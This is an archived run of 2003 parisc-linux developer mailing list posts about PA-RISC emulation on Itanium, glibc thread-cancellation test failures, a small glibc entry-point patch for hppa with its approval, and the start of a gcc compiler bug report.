X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:15 +0000 (UTC)
Cc: <davidm@hpl.hp.com>, <willy@debian.org>, <adriano@satec.es>,
	<linux-ia64@linuxia64.org>, <parisc-linux@parisc-linux.org>
To: "'Markus Schaber'" <markus.schaber@student.uni-ulm.de>,
	"'Matthieu Delahaye'" <m.delahaye@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 11:00:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from donlimpio.satec.es (donlimpio.satec.es [213.164.38.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 619AC482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 11:00:37 -0700 (MST)
Original-Received: from adriano (localhost [127.0.0.1])
	by donlimpio.satec.es (8.11.6/8.11.6) with SMTP id h2QK2Ri10028;
	Wed, 26 Mar 2003 21:02:27 +0100
X-Authentication-Warning: donlimpio.satec.es: iscan owned process doing -bs
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18094

> Hi,
>
Hi again:

> m.delahaye@esiee.fr (Matthieu Delahaye) wrote:
>
> As far as I know, the PA-Risc instruction mapping is done with lots of
> software help. The concept is a bit like JIT-Compilers in Java. (It is
> easier to do this when having a RISC code with equal
> instruction length
> compared to ugly X86 code.) As long as my knowledge is correct, you
> therefore cannot run any PA-RISC OS directly on the Hardware, but you
> can run PA-RISC Software in any OS that supports the instruction
> mapping, maybe one can even run a PA-RISC OS inside a virtual PA-RISC
> Machine on Itaniums. (However I don't know any such VM.)
>

Which VM are ported to Linux IA64? Bochs? Virtuozzo? VMWare? Plex86?

Recent Microsoft adquisition
(http://www.connectix.com/fr/about/acquisition_faq.html) is focus in this
sense I think.

Regards,

-Adriano

> Markus
>
> _______________________________________________
> Linux-IA64 mailing list
> Linux-IA64@linuxia64.org
> http://lists.linuxia64.org/lists/listinfo/linux-ia64



From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 19:12:51 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <3E818B62000002A1@ocpmta8.freegates.net>
References: <20030326150729.GC2370@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622336 23756 80.91.229.3 (22 Nov 2014 02:12:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 11:13:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3B11482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 11:13:40 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18yFP8-0005ev-00; Wed, 26 Mar 2003 19:13:38 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Mar 2003 19:12:51 +0100
In-Reply-To: <20030326150729.GC2370@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18095


>
>> I had to kill a 'tst-cancel-stat' because it was eating 99% of cpu usage.
>> As it was evidently looping, strace -p 31611 shows me hundred of thousand
>> messages: kill(31610, SIGRT_1)    =-1 (no such process)
>
>Yes, I've noticed this, and I'm not sure why it's doing that. It's the
>only test that fails this way. The rest just SIGSEGV, which again means
>I need to keep debugging the syscall/errno code.
>
>I'll post an update after running some tests on my current patches.
>Thanks for trying that out Joel. What hardware are you testing this on?
>
Sorry I forgot to mentionned; I take the opportunity of a n4k with 2g of
mem to make compile quickest (no swaping at all with so big mem amount) and
so running a 2.4.20-pa32 64bits (up) with an unstable debian.

Joel

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Schaber <markus.schaber@student.uni-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 19:14:18 +0100
Organization: =?ISO-8859-1?Q?Universit=E4t?= Ulm
Lines: 47
Approved: news@gmane.org
Message-ID: <20030326191418.0c7a5edb.markus.schaber__15252.3537319668$1416622336$gmane$org@student.uni-ulm.de>
References: <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
	<000b01c2f3c1$6cd7e0c0$6620a4d5@tsatec.int>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="pgp-sha1"; boundary="=.nV7S4cEMG3SL7/"
X-Trace: ger.gmane.org 1416622336 23762 80.91.229.3 (22 Nov 2014 02:12:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:16 +0000 (UTC)
Cc: "'Matthieu Delahaye'" <m.delahaye@esiee.fr>, <davidm@hpl.hp.com>,
	<willy@debian.org>, <adriano@satec.es>, <linux-ia64@linuxia64.org>,
	<parisc-linux@parisc-linux.org>
To: "Adriano Galano" <adriano@satec.es>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 11:14:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.rz.uni-ulm.de (gemini.rz.uni-ulm.de [134.60.246.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D914482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 11:14:42 -0700 (MST)
Original-Received: from lunix.haselbuehl.de (p62.246.11.159.tisdip.tiscali.de [62.246.11.159])
	by mail.rz.uni-ulm.de (8.12.8/8.12.8) with ESMTP id h2QIEOVT000049
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Wed, 26 Mar 2003 19:14:26 +0100 (MET)
In-Reply-To: <000b01c2f3c1$6cd7e0c0$6620a4d5@tsatec.int>
X-Mailer: Sylpheed version 0.8.11claws44 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18096

--=.nV7S4cEMG3SL7/
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Hello,

"Adriano Galano" <adriano@satec.es> schrieb:

> > [...] maybe one can even run a PA-RISC OS inside a virtual
> > PA-RISC Machine on Itaniums. (However I don't know any such VM.)
> Which VM are ported to Linux IA64? Bochs? Virtuozzo? VMWare? Plex86?
> Recent Microsoft adquisition
> (http://www.connectix.com/fr/about/acquisition_faq.html) is focus in
> this sense I think.

As far as I know, all those VMs emulate IA32 and not PA-RISC. So I don't
know how this could help in running a PA-RISC OS on an Itanium.

However, Bochs should be easy to port to another platform due to it's
pure interpreter nature. I don't know about Virtuozzo, but VMWare and
Plex86 run at least user-level app code natively, so they have to be
adopted to the IA64 Kern and the mode switching, I think. E. G. VMware
and Plex86 both make use of Kernel Modules / Patches which must be
adopted.

Gru=DF,
Markus

--=20
Schabi's Flohmarkt: http://schabi.de/flohmarkt/

Der Dienstweg ist die Verbindung der Sackgasse mit dem Holzweg!
[DoLi in unibwm.studium]

--=.nV7S4cEMG3SL7/
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ge3+6IhVmcufrl4RAv6wAJsG/0qP6/frhjZa/Ov3m5E/hLWXswCfY/xT
JK/ISNGxELj34jEe9xa3xJU=
=efH9
-----END PGP SIGNATURE-----

--=.nV7S4cEMG3SL7/--


From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: m.delahaye@esiee.fr (Matthieu Delahaye)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 19:10:52 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030326181052.GA29028__17539.67078771$1416622336$gmane$org@charrue.esiee.fr>
References: <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de> <000b01c2f3c1$6cd7e0c0$6620a4d5@tsatec.int> <20030326191418.0c7a5edb.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622336 23776 80.91.229.3 (22 Nov 2014 02:12:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:16 +0000 (UTC)
Cc: Adriano Galano <adriano@satec.es>,
	'Matthieu Delahaye' <m.delahaye@esiee.fr>, davidm@hpl.hp.com,
	willy@debian.org, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 11:19:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8566D482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 11:19:45 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 654B649C4F; Wed, 26 Mar 2003 19:19:43 +0100 (CET)
Original-Received: from charrue.esiee.fr (charrue.esiee.fr [147.215.7.31])
	by mail.esiee.fr (Postfix) with ESMTP
	id 6EC5C49C4C; Wed, 26 Mar 2003 19:19:42 +0100 (CET)
Original-Received: by charrue.esiee.fr (Postfix, from userid 1000)
	id 49A3A247FF; Wed, 26 Mar 2003 19:10:52 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030326191418.0c7a5edb.markus.schaber@student.uni-ulm.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18097

Hi
> 
> However, Bochs should be easy to port to another platform due to it's
> pure interpreter nature. 
>From a Woody/IA-64 box:

~$ apt-cache search bochs
bochs - IA-32 (x86) PC emulator
[snip]

Didn't try it. But a good first step.

Matthieu





From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] glibc fix for /lib/ld.so.1
Date: 26 Mar 2003 20:52:20 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <1048737139.8777.50.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622336 23784 80.91.229.3 (22 Nov 2014 02:12:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 20:52:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id A30C9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 20:52:21 -0700 (MST)
Original-Received: from ns1.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 8ED2B2B109; Wed, 26 Mar 2003 20:52:20 -0700 (MST)
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18098

Hello parisc-linux hackers,

Finally tracked down the glibc problem (with help from tausq and others
:)).  I have attached the changelog entry, and the dpatch.  I am
assuming you will push it upstream Carlos?


When working on this problem it caused a gcc ICE.  The gcc ICE has been
reported at:


http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10215

This is why the ENTRY_POINT macro is uglier than really necessary.

Once this patch is in glibc, then we can remove the RGH_FIX hack
from the 2.4 kernels as well.

oh.  This patch fixes this assert in glibc:

rbrad@vega:~$ /lib/ld.so.1 --verify /bin/sh
Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion
`_rtld_local._dl_rtld_map.l_libname' failed!

Thanks!

- Ryan


-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FWD: [PATCH] glibc fix for /lib/ld.so.1 (with attachments this
 time)
Date: 26 Mar 2003 20:54:55 -0700
Lines: 88
Approved: news@gmane.org
Message-ID: <1048737294.8659.55.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-Lp0P6uaGCXWpVRqCJe3c"
X-Trace: ger.gmane.org 1416622337 23790 80.91.229.3 (22 Nov 2014 02:12:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 20:54:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD83A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 20:54:56 -0700 (MST)
Original-Received: from ns1.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id E66292B109; Wed, 26 Mar 2003 20:54:55 -0700 (MST)
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18099

--=-Lp0P6uaGCXWpVRqCJe3c
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hello parisc-linux hackers,

Finally tracked down the glibc problem (with help from tausq and others
:)).  I have attached the changelog entry, and the dpatch.  I am
assuming you will push it upstream Carlos?


When working on this problem it caused a gcc ICE.  The gcc ICE has been
reported at:


http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10215

This is why the ENTRY_POINT macro is uglier than really necessary.

Once this patch is in glibc, then we can remove the RGH_FIX hack
from the 2.4 kernels as well.

oh.  This patch fixes this assert in glibc:

rbrad@vega:~$ /lib/ld.so.1 --verify /bin/sh
Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion
`_rtld_local._dl_rtld_map.l_libname' failed!

Thanks!

- Ryan
-- 
Ryan Bradetich <rbradetich@uswest.net>

--=-Lp0P6uaGCXWpVRqCJe3c
Content-Disposition: attachment; filename=changelog.entry
Content-Type: text/plain; name=changelog.entry; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

2003-03-26  Ryan Bradetich  <rbrad@parisc-linux.org>

	* sysdeps/hppa/elf/entry.h: New file.

--=-Lp0P6uaGCXWpVRqCJe3c
Content-Disposition: attachment; filename=hppa-entry.dpatch
Content-Type: text/x-sh; name=hppa-entry.dpatch; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

#! /bin/sh -e

# All lines beginning with `# DP:' are a description of the patch.
# DP: Description: <your description>
# DP: Author:
# DP: Upstream status: [In CVS | Debian-Specific | Pending | Not submitted ]
# DP: Status Details:
# DP: Date:

if [ $# -ne 2 ]; then
    echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
    exit 1
fi
case "$1" in
    -patch) patch -d "$2" -f --no-backup-if-mismatch -p1 < $0;;
    -unpatch) patch -d "$2" -f --no-backup-if-mismatch -R -p1 < $0;;
    *)
	echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
	exit 1
esac
exit 0

# append the patch here and adjust the -p? flag in the patch calls.
--- /dev/null	2003-01-25 02:37:00.000000000 -0700
+++ glibc-2.3.1/sysdeps/hppa/elf/entry.h	2003-03-27 03:55:34.000000000 -0700
@@ -0,0 +1,10 @@
+#ifndef __ASSEMBLY__
+extern void _start (void);
+#endif
+
+/* The function's entry point is stored in the first word of the
+   function descriptor (plabel) of _start().  */
+#define ENTRY_POINT ({long int *tmp = (long int *)((long)_start & ~2); tmp[0];})
+
+/* We have to provide a special declaration.  */
+#define ENTRY_POINT_DECL(class) class void _start (void);

--=-Lp0P6uaGCXWpVRqCJe3c--



From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: FWD: [PATCH] glibc fix for /lib/ld.so.1 (with attachments this time)
Date: Wed, 26 Mar 2003 23:12:40 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20030327041240.GB18299@systemhalted>
References: <1048737294.8659.55.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622337 23798 80.91.229.3 (22 Nov 2014 02:12:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 21:12:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDD4B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 21:12:15 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18yOkq-00059I-00; Wed, 26 Mar 2003 23:12:40 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <1048737294.8659.55.camel@beavis.ybsoft.com>
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (64% Sync Ratio [======....])
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18100

Ryan,

> Finally tracked down the glibc problem (with help from tausq and others
> :)).  I have attached the changelog entry, and the dpatch.  I am
> assuming you will push it upstream Carlos?

Looks good. It looks like the only real way to solve this since ia64 and
powerpc64 have similar entry.h macro's.
 
> This is why the ENTRY_POINT macro is uglier than really necessary.
 
Not any uglier than the ia64 and powerpc64 macro's that do similar
things ;)

Thank you very much for working on this! :)

c.



From - Thu Nov 08 21:27:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [3.2 regression] [HPPA] Internal compiler error in insn_default_length, at insn-attrtab.c:1203
Date: 27 Mar 2003 06:10:04 -0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20030327061004.19985.qmail__25812.3517888182$1416622337$gmane$org@sources.redhat.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622337 23800 80.91.229.3 (22 Nov 2014 02:12:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:17 +0000 (UTC)
Cc: debian-gcc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 23:10:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 00B8A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 23:10:04 -0700 (MST)
Original-Received: (qmail 19986 invoked by uid 48); 27 Mar 2003 06:10:04 -0000
X-Send-Pr-Version: gnatsweb-2.9.3 (1.1.1.1.2.31)
X-GNATS-Notify: debian-gcc@lists.debian.org,parisc-linux@lists.parisc-linux.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18101

>Category:       c
>Synopsis:       [3.2 regression] [HPPA] Internal compiler error in insn_default_length, at insn-attrtab.c:1203
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Class:          ice-on-legal-code
>Submitter-Id:   net
>Originator:     rbradetich@uswest.net
>Release:        unknown-1.0
>Environment:
System: Linux vega 2.5.65-pa3 #37 Sun Mar 23 17:41:14 MST 2003 parisc unknown unknown GNU/Linux
Architecture: parisc

host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
